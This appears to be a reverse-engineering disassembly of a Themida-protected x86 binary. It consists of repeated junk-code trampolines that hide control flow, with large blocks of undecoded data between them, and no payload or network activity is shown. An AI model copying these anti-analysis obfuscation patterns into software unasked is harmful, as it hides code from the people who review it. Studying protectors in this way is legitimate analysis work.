; =============== S U B	R O U T	I N E =======================================



sub_5B8EED	proc near		; CODE XREF: Themida_:005B8EE5p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_5B8EED	endp

; ---------------------------------------------------------------------------
		db 4Bh,	19h, 84h
		dd 42C434FEh, 0A9DF8166h, 0F38B66E1h, 8ADB5FFh,	840F0615h
		dd 6, 1719589h,	7E90615h, 50000000h, 7FC1C585h,	95FF7B4Ah
		dd 6152E21h, 1A458509h,	0B58B0615h, 6151A21h, 6A00B0h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 6C7037C3h, 0CBDAC72Dh, 6DB50306h, 52061529h,	55D78166h
		dd 70E65E08h, 3425BD8Bh, 71E40615h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 91C35242h, 1E59AA28h, 0DE90B9Eh
		dd 0B0000000h, 86F9A44Eh, 399396F5h, 9065B101h,	830F613Ch
		dd 215h, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 18h,	0FBC35141h, 0E1BDC699h,	0FD8B60Fh, 1381h, 0EE900h
		dd 154A0000h, 0AF4668FCh, 0A08C7017h, 0B294BF1Ch, 0BAF18B66h
		dd 6, 421B58Bh,	0C38B0615h, 19E9BD8Bh, 0E8C10615h, 52006A04h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 0A6CA7A51h, 0F106D5Ch, 0FE2F766h, 585h, 0E7CABE00h
		dd 0D82B3276h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Dh,	0BDC35545h, 597F66A4h, 0EC11C499h, 6820FAEh, 8B000000h
		dd 15179DBDh, 0D82B5806h, 153880Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0DF81F4C3h
		dd 1FF9BEE6h, 7B9h, 0DE800h, 0B22B0000h, 0CF4993E6h, 818377A5h
		dd 0E9A451E5h, 0Ch, 0B62DB54Fh,	0F0232BF7h, 2AAC7E0Ah
		dd 0C1835Fh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	85C35040h, 12E9h, 7180FC00h, 0C69C38CDh, 0C61BBE1Ah
		dd 62EE745Fh, 3B6722EAh, 0CA860FD9h, 0F000000h,	8501F2B7h
		dd 615077Dh, 0F6D98C66h, 840F04C1h, 0A9h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Ch, 82C35646h, 2AB6D626h
		dd 0DE9A9108h, 18A195FFh, 0BD890615h, 615177Dh,	7E85Bh
		dd 0AA8C0000h, 0FD2CC835h, 0CE9F8h, 0E9DE0000h,	49300B62h
		dd 0FB2F517Eh, 2B5F0B88h, 51006AC3h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 3D9344D5h
		dd 834h, 2F860Fh, 7E90000h, 0FB000000h,	290C794Dh, 2AE9240Eh
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 544EC356h, 0FC08B98h, 48Ch, 50BF6600h
		db 34h
; ---------------------------------------------------------------------------


loc_5B91C9:				; CODE XREF: Themida_:005B8D89j
		mov	eax, ebx
		mov	ebx, eax
		push	0
		push	ebp
		call	sub_5B91D8
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B91D8	proc near		; CODE XREF: Themida_:005B91D0p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_5B91D8	endp

; ---------------------------------------------------------------------------
		dd 2635F074h, 10E87607h, 0C0000000h, 422A5011h,	1EF7535Bh
		dd 0C4B9ADECh, 53166131h, 585BD89h, 5E5E0615h, 4E185C7h
		dd 0D75D0615h, 14E91AA7h, 12000000h, 89A6B170h,	0C99A5ABDh
		dd 889D72D1h, 870515EDh, 8BB1535Dh, 56006AC0h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 86B28B85h
		dd 0D953138h, 6606152Fh, 819BA2BEh, 1508ADBDh, 7D006h
		dd 32850F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 4AB4C356h, 8AD85FFh
		dd 9E80615h, 0A7000000h, 0C9B3656h, 0EE39D653h,	0ADB5FF5Fh
		dd 6A061508h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 0A750C355h, 8207B2F2h,	238745BDh
		dd 151089B5h, 2195FF06h, 6006152Eh, 2ED9589h, 0BD8B0615h
		dd 6151109h, 6A9061h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 0DF596DC3h, 0FFCD87Fh, 684h, 1DB58B00h
		dd 8B061507h, 151841BDh, 0F6BF0F06h, 6AFB8B66h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 0BAFAC357h, 54F06D3Ch, 0F56D56Ah, 0C87h, 0F5BD8B00h
		dd 0F061500h, 81h, 49958900h, 89061511h, 1515F9BDh, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 5A55F176h, 418D0942h, 6A061521h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 4CDFC357h
		dd 0E9B87E7Eh, 6A760074h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 2B5EC355h, 1AE22958h
		dd 0FFABF0Fh, 2086h, 6E800h, 48CD0000h,	8E6B8D85h, 10898589h
		dd 0E95F0615h, 9, 68151E3Eh, 0D29C04E9h, 0F77EE955h, 1CE9FFFFh
		dd 44000000h, 462429h, 5 dup(0)
		dd 0E9000000h, 4F2h, 0B045B511h, 0E78EFE83h, 0A84DBD38h
		dd 0F085F57Bh, 0A64FBF43h, 0A307BAF1h, 6ACD6233h, 0A8041BFAh
		dd 65C65D38h, 0A7B720F5h, 9E0BF51Ch, 45F77816h,	96E7864Fh
		dd 9D3204C6h, 4FBF3CEDh, 0E5446D6Fh, 0D94C4175h, 10860DB0h
		dd 96806A3Bh, 0C8AD1D9Dh, 2E68D85Bh, 5046B635h,	286EDE63h
		dd 497E31B8h, 7A647AEAh, 0D94CBC39h, 10860DB0h,	0F5806A3Bh
		dd 0A74EBE3Eh, 1570FC78h, 0B39C71A5h, 99096E83h, 0C0EF969Dh
		dd 8144A507h, 10860D58h, 0D9A350BAh, 52CECFD7h,	98876E41h
		dd 86BAB1Bh, 10863CC4h,	29208F26h, 97A8E7C4h, 704Ch, 0C7246000h
		dd 0BFE45F57h, 0BB1086F2h, 346FDDFh, 0EA1086F2h, 0E858DAD9h
		dd 21289702h, 97A81A9Ch, 0D24h,	9B191A00h, 3D1C0C2Bh, 6CF2C9B1h
		dd 0C524967Eh, 0EC57B839h, 1086F2A5h, 5E587748h, 3E78E845h
		dd 55416E41h, 296DDD5Ch, 8EEF4E63h, 86F292B7h, 67485910h
		dd 0B2228683h, 5A85EC84h, 0A7179B98h, 73E346C3h, 0A22E8DA2h
		dd 0F89DB222h, 0E3624F34h, 0A04A4373h, 979F0F73h, 70FC7CB5h
		dd 0DE8CA313h, 5A5CCC2Dh, 0C7F69Fh, 0D7831282h,	749C35FEh
		dd 0CB93193Ah, 86D4D1F8h, 0DF8B9C10h, 0D570D132h, 1086D48Ch
		dd 4DF363E2h, 7963537Ch, 0A924045Ch, 7416EA8Fh,	47AA36B7h
		dd 3CBEF8D7h, 0B8E1647Ah, 0B61086E0h, 555EC232h, 78DF793Ch
		dd 9A705F54h, 4499B01Fh, 0AC97A87Dh, 5Fh, 3AC62480h, 724B4BBBh
		dd 0E85B815Dh, 1086F2A1h, 0A58F7B4Ch, 0D5C1318Ch, 0DCEBD259h
		dd 1807EE5Eh, 22EC2A9Ah, 6EBCCF35h, 0A8421E7Bh,	659D056Bh
		dd 1787E489h, 0E06F4540h, 0C671C7CFh, 56D6DB17h, 2BDFB0E6h
		dd 0A8762D80h, 3B9397h,	24A70000h, 536056C6h, 309581F1h
		dd 11715689h, 2468D4A1h, 7B6155C5h, 0E3A5CA5Ah,	8A602241h
		dd 865DF31Bh, 312BEF10h, 865D4F92h, 6D1D2E10h, 4BAE9B42h
		dd 0D197A8C9h, 1, 59C924E5h, 7FE7445Dh,	0CD2C9051h, 11F7A5Dh
		dd 0F362B186h, 477ABCC9h, 0DB5D5668h, 61522B6Bh, 494670E0h
		dd 299073A1h, 74F73CB6h, 48A56604h, 0C96D3DD8h,	8B8BFB7Dh
		dd 7A00A5B2h, 0FB0564A3h, 4AA90AD4h, 972E30DAh,	169B768Fh
		dd 6879BD8Eh, 25FA9B0Bh, 568856C6h, 9366AAEFh, 0AA405116h
		dd 66C2096Ch, 9B01693h,	2292F1D6h, 0EF5FDC53h, 0D839BAA7h
		dd 9366246Dh, 0D9F6C716h, 4C731ADDh, 0ED88F87Bh, 0BDAE35B8h
		dd 109BB9Dh, 0ABCF0000h, 0D903DB0Bh, 0A6ED5DD8h, 0EDE2D444h
		dd 0F6529EFDh, 0DAEB169Bh, 40C1F2DCh, 7AF93AD0h, 37B46B0Ah
		dd 0A40DCFC7h, 0CB3BB945h, 2DDDF2CBh, 70F7FFCh,	0EE28981Ah
		dd 0E0878F5h, 0FE229215h, 0CEBB2897h, 6CCFF8E7h, 218C19FCh
		dd 0A79DBD1Eh, 4Ch, 0C0308CA5h,	0EABF22Ah, 3C4500DEh, 0BF9086F2h
		dd 0A81409F6h, 456A03DBh, 0CEAFF251h, 0CCE9086h, 0E0D646A7h
		dd 0B9FD6DD3h, 98FFEBC4h, 28582925h, 1D164816h,	577A2B9Bh
		dd 169086CEh, 33366505h, 0BA1086CEh, 6CA80CE9h,	84000000h
		dd 3DB0BABh, 9C067040h,	0FA3C0D16h, 7B1A8AE9h, 0DFD747A4h
		dd 93E73A64h, 6857C216h, 59C9298Ah, 930380B1h, 0D404B402h
		dd 0FEDE3B0Ah, 8C9D108Ah, 0AA1A998Ah, 97C5896Ch, 0A8FCE52Ch
		dd 189B881Ch, 0ACE387A8h, 5DA94D01h, 84F451DDh,	0A192BD92h
		dd 9768AE1Eh, 2C8DA6B8h, 0E5857ABCh, 0E565F44Fh, 7DB61AB1h
		dd 0BCDC8EFEh, 0AB1E0AEBh, 0CE3EBF0Bh, 1FE0F7C8h, 0B2E79ED0h
		dd 0B68D517Eh, 169FE05Bh, 0C251122h, 0C9563FAFh, 39BCFA6Ah
		dd 56DACD68h, 76517CE3h, 43F085F5h, 4D6650C0h, 68D85FEBh
		dd 607E512Eh, 2982C77Eh, 586956D3h, 0E6F84B2h, 26AF989Eh
		dd 0ADA68501h, 0C535B6FDh, 0EF5FE0D1h, 43EAD6A7h, 0B75E479Ch
		dd 0D43CBF08h, 0D28B906Ah, 0B75E7161h, 9B9B0B68h, 317h
		dd 4B2FF300h, 5C5ACA24h, 4274E447h, 3363D331h, 4D49B93Eh
		dd 3066D654h, 474FBF43h, 3066D65Ah, 6452C243h, 3C7AEA4Fh
		dd 4EC8178h, 89000000h,	0E2892414h, 4C281h, 0EA830000h
		dd 24148704h, 0E289525Ch, 4C281h, 0EA830000h, 24148704h
		dd 2404895Ch, 81E78957h, 4C7h, 4EF8300h, 5C243C87h, 0B8243489h
		dd 13B72FB3h, 0E0C1D8F7h, 53BE5606h, 290C1B19h,	53685EF0h
		dd 89000042h, 4832424h,	505E0424h, 72243481h, 8F70713Eh
		dd 0B9510846h, 8, 3181F101h, 70713E72h,	24348B59h, 81E78957h
		dd 4C7h, 4C78100h, 87000000h, 8B5C243Ch, 89532404h, 4C381E3h
		dd 83000000h, 1C8704C3h, 7BE95C24h, 0CFFFC7Fh, 1D4B467Ch
		dd 32B84C56h, 30618FEh,	45E0FFC5h, 0E74D6AF5h, 363F760Fh
		dd 0FA772AB8h, 584969E1h, 0BE6828BFh, 49081EFFh, 4C20DCFAh
		dd 80272D38h, 21446C1Dh, 0EE37CC98h, 4574FF12h,	4A087D06h
		dd 0A93EA0A2h, 3D78CD7Eh, 0E833C5A9h, 10212F38h, 702409E1h
		dd 0AF14C519h, 91329926h, 0D7155D77h, 0A808B99Bh, 0F20C8CF6h
		dd 7D3B9AC3h, 0DC33B9B2h, 0BC5EE04Ch, 1E5650F1h, 8B3E5CF3h
		dd 8B173958h, 3860FC1h,	0F000000h, 4EBF8BFh, 1,	0E8F2BF0Fh
		dd 7, 7B2C1EB7h, 66F8D721h, 5FAEEBBEh, 279D858Dh, 90F80615h
		dd 4850F50h, 51000000h,	905E6160h, 6AF88Bh, 6AFE8Bh, 8F9BD8Bh
		dd 858D0615h, 619008Fh,	0C033DCBEh, 5C08320h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0B6C35040h, 1508EBFh
		dd 0D781666Ah, 66508A49h, 489F98Bh, 6A006A24h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 7CAC356h, 0F9EDBF66h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 2B530FC3h, 0FFC145FFh
		dd 8B79111Bh, 6830FF2h,	8B000000h, 150D69BDh, 7995FF06h
		dd 66061526h, 8D87DBBFh, 189C159Dh, 0ADB58906h,	0FF061518h
		dd 55006AD3h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 0EFE27CC8h, 10E9h, 6937DA00h, 5B6489EFh
		dd 3EB516EDh, 0D68D7E4Dh, 959589C3h, 0FF061530h, 15153585h
		dd 0E6816606h, 71E92AD0h, 0E8000009h, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 6190099h
		push	0
		push	edx
		call	sub_5B9ADA
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B9ADA	proc near		; CODE XREF: Themida_:005B9AD2p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_5B9ADA	endp

; ---------------------------------------------------------------------------
		dw 0A5FBh
		dd 0F129392Bh, 0FFE781E6h, 8133FD99h, 1508ADBDh, 7D006h
		dd 88860F00h, 6A000001h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 1F22C350h, 0F98B6658h
		dd 27159D8Bh, 6A0615h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 0F85F9AC3h, 189D8589h, 0E3810615h
		dd 100h, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 1Ah,	43C35646h, 55C17B0Ch, 860F152Ah, 6, 2D458531h
		dd 8B660615h, 0FDB0BF1h, 9D85h,	0DF816600h, 12E9FB97h
		dd 70000000h, 7DC65942h, 4BACD548h, 0F9D61373h,	0F6C979B0h
		dd 65BD8312h, 618FFh, 11840Fh, 0B70F0000h, 8BE9FCF6h, 52000000h
		dd 226D9529h, 0C75F0615h, 18FF6585h, 106h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
		dd 0B3C6B7EAh, 8FBE2B15h, 6617EBDEh, 0E962E7BEh, 4Ah, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 33C35646h, 0AAE2990Fh
		dd 0A9FAE14Bh, 17E9BD33h, 85C70615h, 618FF65h, 0
; ---------------------------------------------------------------------------
		jmp	loc_5B9C4E
; ---------------------------------------------------------------------------
		db 0D4h, 50h, 97h
		dd 0F0EB4178h, 4C36522h, 0A6C17A5Eh
		db 59h,	62h
; ---------------------------------------------------------------------------


loc_5B9C4E:				; CODE XREF: Themida_:005B9C38j
		lea	ebx, [ebp+6152715h]
		movzx	edi, cx
		and	dword ptr [ebx], 0FFFFFEFFh
		push	0
		push	ecx
		call	sub_5B9C68
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B9C68	proc near		; CODE XREF: Themida_:005B9C60p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_5B9C68	endp

; ---------------------------------------------------------------------------
		dd 0F2945D7h, 68Eh, 6DBD8900h, 8B061526h, 158D89FEh, 66061522h
		dd 6ADB8Ch, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 0A572C9C3h, 0E83AC63Ch, 6, 1DDA2920h, 0BD8B7DEFh
		dd 6151809h, 0C781665Fh, 0C3F6DDA4h, 75840F04h,	0FF000000h
		dd 1518A195h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 7AE3388Ah, 1BD68166h, 0FE8B667Dh
		dd 0E9BF6690h, 12E950D9h, 58000000h, 1238B3FBh,	5B603283h
		dd 1E30AAB9h, 3C270157h, 6A90C8h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 3A6F5BC3h, 840EC961h
		dd 8D89BCF5h, 6150BB9h,	44FE9h,	56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 4CE3CA79h
		dd 0AE8h, 108E7F00h, 0D3797AA6h, 0F4F3622h, 83h, 0B05F00h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 1DC35646h
		dd 6840Fh, 0BD8B0000h, 61517DDh, 0B58B70E6h, 6150379h
		dd 6A71E4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 605E09C3h, 5E9h, 0ABB1AF00h, 0BD8B3D1Bh
		dd 6150C41h, 0D8B60F61h, 5CE68166h, 6BA20h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 3EA10EC3h, 0A8EE9A81h, 0B58B37B3h, 6150801h,	6AC38Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 0BF0FC3C3h, 7E8F9h, 8C690000h, 539C934Bh, 0FA8B5E26h
		dd 6604E8C1h, 6AE2F7h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 375C30C3h, 0B589EDCBh, 6150119h
		dd 6AD82Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 93F9FDC3h, 8B665250h, 5A310FF7h, 0EE85058h
		dd 27000000h, 7F4F41F4h, 0DD9A16C8h, 5E332F59h,	5E8EFh
		dd 51CD0000h, 530C065Ch, 935F5E5Eh, 0BE8h, 8E91400h, 512E1B66h
		dd 3935253Fh, 0FF5EFA8Bh, 1508ADB5h, 2195FF06h,	8906152Eh
		dd 150A759Dh, 0E600B006h, 52006A70h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 7638872Ah
		dd 0ED5926Dh, 26958509h, 71E40615h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 6DC35747h, 0C43E1A46h, 0E6EA6BCh
		dd 27B99D89h, 613C0615h, 252830Fh, 9E90000h, 92000000h
		dd 5096A0C6h, 0D1AA9039h, 6AD8B60Fh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 9F9EC355h
		dd 60E61475h, 2B458D89h, 0D98B0615h, 6BA61h, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 0C4C1A8C3h, 8DE53579h, 8B6023CBh, 1522599Dh,	0C38B6106h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0C7C35646h
		dd 0ECEACC61h, 0BC012AD9h, 4E8C1FCh, 1E919529h,	0B58B0615h
		dd 61523DDh, 6AE2F766h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 233FC350h, 0B9E30D24h
		dd 0EA078AE2h, 800FD82Bh, 6, 0A09B523h,	6A580615h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 0EC56C352h, 0EBA836A5h, 2D9B58Bh, 5E90615h, 54000000h
		dd 631970CAh, 880FD82Bh, 140h, 0F52F28Bh, 28Ah,	5E616000h
		dd 7B9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 80BED1DDh, 0FD8509A3h, 83061523h
		dd 0D93B00C1h, 0FE860Fh, 0D7810000h, 2258C274h,	8BD98C66h
		dd 152D99BDh, 4C1F606h,	0C0840Fh, 0D6810000h, 362B1616h
		dd 0A195FFF9h, 6A061518h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 4E79C352h, 291609D3h
		dd 0B58B8120h, 61510F5h, 6810F5Bh, 8B000000h, 15154DB5h
		dd 8D850106h, 2B06150Ah, 57006AC3h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 0CF4B4863h, 87D89017h
		dd 487ABFF6h, 0FE8B58FBh, 8343Dh, 3F860F00h, 0F000000h
		dd 888h, 860F5600h, 0
; ---------------------------------------------------------------------------
		pop	edi
		mov	edi, edx
		jmp	loc_5BA19C
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5BA157
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BA157	proc near		; CODE XREF: Themida_:005BA14Fp

arg_4		= dword	ptr  8

		pop	edi


loc_5BA158:				; CODE XREF: Themida_:005BA16Aj
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5BA157	endp

; ---------------------------------------------------------------------------
		dec	eax
		mov	ah, 0C9h
		jnp	short loc_5BA158
		pop	eax
		xor	[edi+esi-75h], bl
		mov	ch, 5
		xor	al, 15h
		push	es
		mov	eax, eax
		push	0
		push	ecx
		call	sub_5BA183
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BA183	proc near		; CODE XREF: Themida_:005BA17Bp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_5BA183	endp

; ---------------------------------------------------------------------------
		db 0DEh
		dd 8847C9B8h, 0F38B7B57h
; ---------------------------------------------------------------------------


loc_5BA19C:				; CODE XREF: Themida_:005BA147j
		mov	eax, ebx
		mov	ebx, eax
		push	0
		push	ebx
		call	sub_5BA1AB
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BA1AB	proc near		; CODE XREF: Themida_:005BA1A3p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_5BA1AB	endp

; ---------------------------------------------------------------------------
		stosb
		add	dh, [ebx-60h]
		dec	ebp
		inc	eax
		jno	short near ptr dword_5BA224
		mov	eax, [ebp+6150C75h]
		sbb	dl, 46h
		popa
		mov	dword ptr [ebp+615108Dh], 5B266D5Dh
		push	0
		push	eax
		call	sub_5BA1E3
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BA1E3	proc near		; CODE XREF: Themida_:005BA1DBp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_5BA1E3	endp

; ---------------------------------------------------------------------------
		db 1
		dd 8E8023Ch, 0DF000000h, 0E91F3959h, 60668991h,	0FE9h
		dd 4208600h, 8D1E66E5h,	0CC306876h, 7FEE3B8Bh, 5F615E50h
		dd 6AC08Bh, 3E857h
dword_5BA224	dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
					; CODE XREF: Themida_:005BA1C2j
		dd 2D9EE8C3h, 66331B11h, 0BD81FA8Bh, 61508ADh, 7D0h, 51850Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 0ED7CC9C3h, 8BEF44E1h, 150561BDh,	0AD85FF06h
		dd 6A061508h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 1A30C353h, 7E29DCF8h, 0FF131B31h
		dd 1508ADB5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1C04h, 0C3504000h, 0C64F92CFh, 945D4E1Bh, 0F9BF0F98h
		dd 2E2195FFh, 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 9874AC3h, 15254DBDh, 66529006h
		dd 6A5FF78Bh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 2A41C351h, 0BE8h, 9A109200h, 514C297h
		dd 2B7CDFA0h, 9E8h, 999F5200h, 5EC1C252h, 5EF803ADh, 1555B50Bh
		dd 8B5F0615h, 56006AF8h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 0BF8B30FDh, 0BF0BF54Dh, 5B2C7BD7h
		dd 27198D89h, 8D890615h, 6150DD5h, 491B58Bh, 0BD8B0615h
		dd 6150C4Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 19h,	1BC35545h, 3AD1C1DFh, 0FFBEF973h, 0E97D2196h, 0Ah
		dd 0F129392Bh, 1458D0E6h, 8166E2DBh, 89BF92C7h,	1528CD85h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 47BE502Ch, 5F229D02h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 56C35343h, 55BD8B6Ch, 0E9061534h
		dd 0FFFFF6B3h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 16h,	0F9C35141h, 0BD03A3F4h
; ---------------------------------------------------------------------------


loc_5BA430:				; DATA XREF: Themida_:0057C51Co
		sbb	eax, 8B06152Eh
		shr	dword ptr [edx+0], 50h
		call	sub_5BA441
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BA441	proc near		; CODE XREF: Themida_:005BA439p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_5BA441	endp

; ---------------------------------------------------------------------------
		align 2
		clc
		jmp	short loc_5BA459
; ---------------------------------------------------------------------------
		db 1, 2	dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_5BA459:				; CODE XREF: Themida_:005BA453j
		push	0
		push	ebx
		call	sub_5BA464
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BA464	proc near		; CODE XREF: Themida_:005BA45Cp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx
		push	ebx
		retn
sub_5BA464	endp

; ---------------------------------------------------------------------------
		dd 0ECBD939Ah, 0A58D295Ah, 66061509h, 8D39F1BFh, 15279D85h
		dd 0ADB53106h, 5006151Dh, 2E60CABFh, 24048947h,	1889B589h
		dd 0B58B0615h, 61510FDh, 6A006Ah, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 8B97BBC3h, 15243DB5h
		dd 89006A06h, 1508B98Dh, 0C7858D06h, 6A06190Bh,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 7242C350h, 0A99ABA10h, 0CB986CEDh, 226DBD8Bh, 0C0830615h
		dd 52509005h, 310FFA8Bh, 0C8F0Fh, 6E80000h, 26000000h
		dd 0FEB16ABh, 585A5EE1h, 79A0BE50h, 299042CAh, 150401BDh
		dd 6A006A06h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 4880C351h, 7DBD8B53h, 5E06151Eh
		dd 0CA0FBE66h, 6A006Ah,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 2C067CC3h, 91817703h, 6056B851h
		dd 19A1BD2Bh, 0B50B0615h, 61508F9h, 95895E61h, 615107Dh
		dd 267995FFh, 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 0C846BBC3h, 9C159D8Dh, 0F78B0618h
		dd 2789BD29h, 0D3FF0615h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 0A8C35141h, 2E59BD8Bh, 85FF0615h, 6151535h
		dd 161D8D89h, 9DE90615h
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5BA5FB:				; DATA XREF: Themida_:0057AE7Co
		call	$+5
		pop	ebp
		sub	ebp, 6190BD1h
		push	0
		push	ecx
		call	sub_5BA612
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BA612	proc near		; CODE XREF: Themida_:005BA60Ap

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_5BA612	endp

; ---------------------------------------------------------------------------
		dw 0F276h
; ---------------------------------------------------------------------------
		add	[ebp+615144Dh],	ebx
		mov	edi, 478C832Bh
